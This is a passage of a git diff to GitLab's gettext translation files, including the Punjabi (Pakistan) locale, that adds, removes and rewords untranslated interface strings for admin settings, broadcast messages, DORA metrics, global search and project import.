-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/pa_PK/gitlab.po b/locale/pa_PK/gitlab.po
index 86131d357ec..3c66be87aa5 100644
--- a/locale/pa_PK/gitlab.po
+++ b/locale/pa_PK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pa-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
